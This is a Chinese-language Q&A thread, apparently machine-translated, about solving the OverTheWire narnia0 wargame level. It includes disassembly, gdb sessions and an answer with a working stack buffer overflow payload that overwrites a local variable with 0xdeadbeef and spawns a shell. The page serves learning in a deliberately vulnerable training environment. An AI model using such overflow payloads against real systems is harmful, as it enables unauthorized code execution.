0xdeadbeef 被利用?

逆向工程 开发
2021-06-29 22:21:41

我正在narnia.labs.overthewire.org兵棋推演我遇到了一个叫做的关卡narnia0,它要求我将值更改0x4141414140xdeadbeef. 到目前为止,我已经查看了源代码并对二进制文件进行了逆向工程。什么是利用中的 0xdeadbeef 以及如何将值从0x414141in更改ebp0xdeadbeef. 我已经为这个挑战在十六进制值/转换方面做了一些研究。

0xdeadbeef一般是什么,它在开发中如何体现的?如何将ebp更改0x414141410xdeadbeef

你可以在下面看到我的问题分析:

080484c4 <main>:
  80484c4:       55                      push   %ebp
  80484c5:       89 e5                   mov    %esp,%ebp
  80484c7:       83 e4 f0                and    $0xfffffff0,%esp
  80484ca:       83 ec 30                sub    $0x30,%esp
  80484cd:       c7 44 24 2c 41 41 41    movl   $0x41414141,0x2c(%esp)
  80484d4:       41 
  80484d5:       c7 04 24 40 86 04 08    movl   $0x8048640,(%esp)
  80484dc:       e8 cf fe ff ff          call   80483b0 <puts@plt>
  80484e1:       b8 73 86 04 08          mov    $0x8048673,%eax
  80484e6:       89 04 24                mov    %eax,(%esp)
  80484e9:       e8 b2 fe ff ff          call   80483a0 <printf@plt>
  80484ee:       b8 89 86 04 08          mov    $0x8048689,%eax
  80484f3:       8d 54 24 18             lea    0x18(%esp),%edx
  80484f7:       89 54 24 04             mov    %edx,0x4(%esp)
  80484fb:       89 04 24                mov    %eax,(%esp)
  80484fe:       e8 fd fe ff ff          call   8048400 <__isoc99_scanf@plt>
  8048503:       b8 8e 86 04 08          mov    $0x804868e,%eax
  8048508:       8d 54 24 18             lea    0x18(%esp),%edx
  804850c:       89 54 24 04             mov    %edx,0x4(%esp)
  8048510:       89 04 24                mov    %eax,(%esp)
  8048513:       e8 88 fe ff ff          call   80483a0 <printf@plt>
  8048518:       b8 97 86 04 08          mov    $0x8048697,%eax
  804851d:       8b 54 24 2c             mov    0x2c(%esp),%edx 
  8048521:       89 54 24 04             mov    %edx,0x4(%esp)
  8048525:       89 04 24                mov    %eax,(%esp)
  8048528:       e8 73 fe ff ff          call   80483a0 <printf@plt>
  804852d:       81 7c 24 2c ef be ad    cmpl   $0xdeadbeef,0x2c(%esp)
  8048534:       de 
  8048535:       75 13                   jne    804854a <main+0x86>
  8048537:       c7 04 24 a4 86 04 08    movl   $0x80486a4,(%esp)
  804853e:       e8 7d fe ff ff          call   80483c0 <system@plt>
  8048543:       b8 00 00 00 00          mov    $0x0,%eax
  8048548:       c9                      leave  
  8048549:       c3                      ret    
  804854a:       c7 04 24 ac 86 04 08    movl   $0x80486ac,(%esp)
  8048551:       e8 5a fe ff ff          call   80483b0 <puts@plt>
  8048556:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
  804855d:       e8 7e fe ff ff          call   80483e0 <exit@plt>
  8048562:       90                      nop
  8048563:       90                      nop
  8048564:       90                      nop
  8048565:       90                      nop
  8048566:       90                      nop
  8048567:       90                      nop
  8048568:       90                      nop
  8048569:       90                      nop
  804856a:       90                      nop
  804856b:       90                      nop
  804856c:       90                      nop
  804856d:       90                      nop

我知道二进制文件从用户那里获取输入,然后打印一条挑战消息。而且,我还知道二进制文件中的其他地方,它确实与一个值进行了比较,并采用了获取标志或重试的两条路径。为了解决这个挑战,我已经尝试覆盖ebp寄存器,但没有。

narnia0@melinda:/games/narnia$ gdb ./narnia0
(gdb) dissasemble main
Undefined command: "dissasemble".  Try "help".
(gdb) b * main
Breakpoint 1 at 0x80484c4
(gdb) b * main+105 
Breakpoint 2 at 0x804852d
(gdb) r
Starting program: /games/narnia/narnia0 
Breakpoint 1, 0x080484c4 in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAA
buf: AAAAAAAAAAAA
val: 0x41414141
Breakpoint 2, 0x0804852d in main ()
(gdb) i r
eax            0x10     16
ecx            0x0      0
edx            0x0      0
ebx            0xf7fcdff4       -134422540
esp            0xffffd6f0       0xffffd6f0
ebp            0xffffd728       0xffffd728
esi            0x0      0
edi            0x0      0
eip            0x804852d        0x804852d <main+105>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
1个回答

这应该是0xdeadbeef(dead beef),因为它是一个可以用十六进制字符拼写的单词。

我们通常称之为Hexspeak其他众所周知的十六进制字是0xcafebabeor 0xd15ea5e133tspeak一起,它可能会导致一些有趣(和有趣)的措辞。

关于挑战的利用,我没有尝试......但是,通过“ Here is your chance”提示给你一次机会因此,例如,尝试执行以下操作:

python -c 'print("A"*20 + "\xef\xbe\xad\xde")' | ./narnia0

这是我的完整日志:

(gdb) disas main
Dump of assembler code for function main:
   0x080484c4 <+0>: push   %ebp
   0x080484c5 <+1>: mov    %esp,%ebp
   0x080484c7 <+3>: and    $0xfffffff0,%esp
   0x080484ca <+6>: sub    $0x30,%esp
   0x080484cd <+9>: movl   $0x41414141,0x2c(%esp)
   0x080484d5 <+17>:    movl   $0x8048640,(%esp)
   0x080484dc <+24>:    call   0x80483b0 <puts@plt>
   0x080484e1 <+29>:    mov    $0x8048673,%eax
   0x080484e6 <+34>:    mov    %eax,(%esp)
   0x080484e9 <+37>:    call   0x80483a0 <printf@plt>
   0x080484ee <+42>:    mov    $0x8048689,%eax
   0x080484f3 <+47>:    lea    0x18(%esp),%edx
   0x080484f7 <+51>:    mov    %edx,0x4(%esp)
   0x080484fb <+55>:    mov    %eax,(%esp)
   0x080484fe <+58>:    call   0x8048400 <__isoc99_scanf@plt>
   0x08048503 <+63>:    mov    $0x804868e,%eax
   0x08048508 <+68>:    lea    0x18(%esp),%edx
   0x0804850c <+72>:    mov    %edx,0x4(%esp)
   0x08048510 <+76>:    mov    %eax,(%esp)
   0x08048513 <+79>:    call   0x80483a0 <printf@plt>
   0x08048518 <+84>:    mov    $0x8048697,%eax
   0x0804851d <+89>:    mov    0x2c(%esp),%edx
   0x08048521 <+93>:    mov    %edx,0x4(%esp)
   0x08048525 <+97>:    mov    %eax,(%esp)
   0x08048528 <+100>:   call   0x80483a0 <printf@plt>
   0x0804852d <+105>:   cmpl   $0xdeadbeef,0x2c(%esp)
   0x08048535 <+113>:   jne    0x804854a <main+134>
   0x08048537 <+115>:   movl   $0x80486a4,(%esp)
   0x0804853e <+122>:   call   0x80483c0 <system@plt>
   0x08048543 <+127>:   mov    $0x0,%eax
   0x08048548 <+132>:   leave  
   0x08048549 <+133>:   ret    
   0x0804854a <+134>:   movl   $0x80486ac,(%esp)
   0x08048551 <+141>:   call   0x80483b0 <puts@plt>
   0x08048556 <+146>:   movl   $0x1,(%esp)
   0x0804855d <+153>:   call   0x80483e0 <exit@plt>
End of assembler dump.
(gdb) x /s 0x8048640 
0x8048640:   "Correct val's value from 0x41414141 -> 0xdeadbeef!"
(gdb) x /s 0x8048673
0x8048673:   "Here is your chance: "
(gdb) x /s 0x8048689
0x8048689:   "%24s"
(gdb) quit
narnia0@melinda:/narnia$ python -c 'print("A"*20 + "\xde\xad\xbe\xef")' | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAޭ��
val: 0xefbeadde
WAY OFF!!!!
narnia0@melinda:/narnia$ python -c 'print("A"*20 + "\xef\xbe\xad\xde")' | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef

我从反汇编main函数开始然后,我查看了可以在程序中找到的格式字符串。那个scanf告诉我输入字符串的大小是 24 个字节。我假设缓冲区小于那个并且溢出发生在字符串的末尾(最后四个字节)。然后,我首先通过输入0xdeadbeef大端顺序犯了一个愚蠢的错误最后,我做对了(第二次尝试)。

但是,我很幸运(或者我最近做了太多这样的事情......)。

编辑:我无法使用 Python 脚本保持 shell 打开,我发现的唯一方法是显示带有 的字符串echo并复制/粘贴它:

narnia0@melinda:/narnia$ echo $'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\xaf'
AAAAAAAAAAAAAAAAAAAAᆳޯ
narnia0@melinda:/narnia$ ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAAᆳޯ
buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
$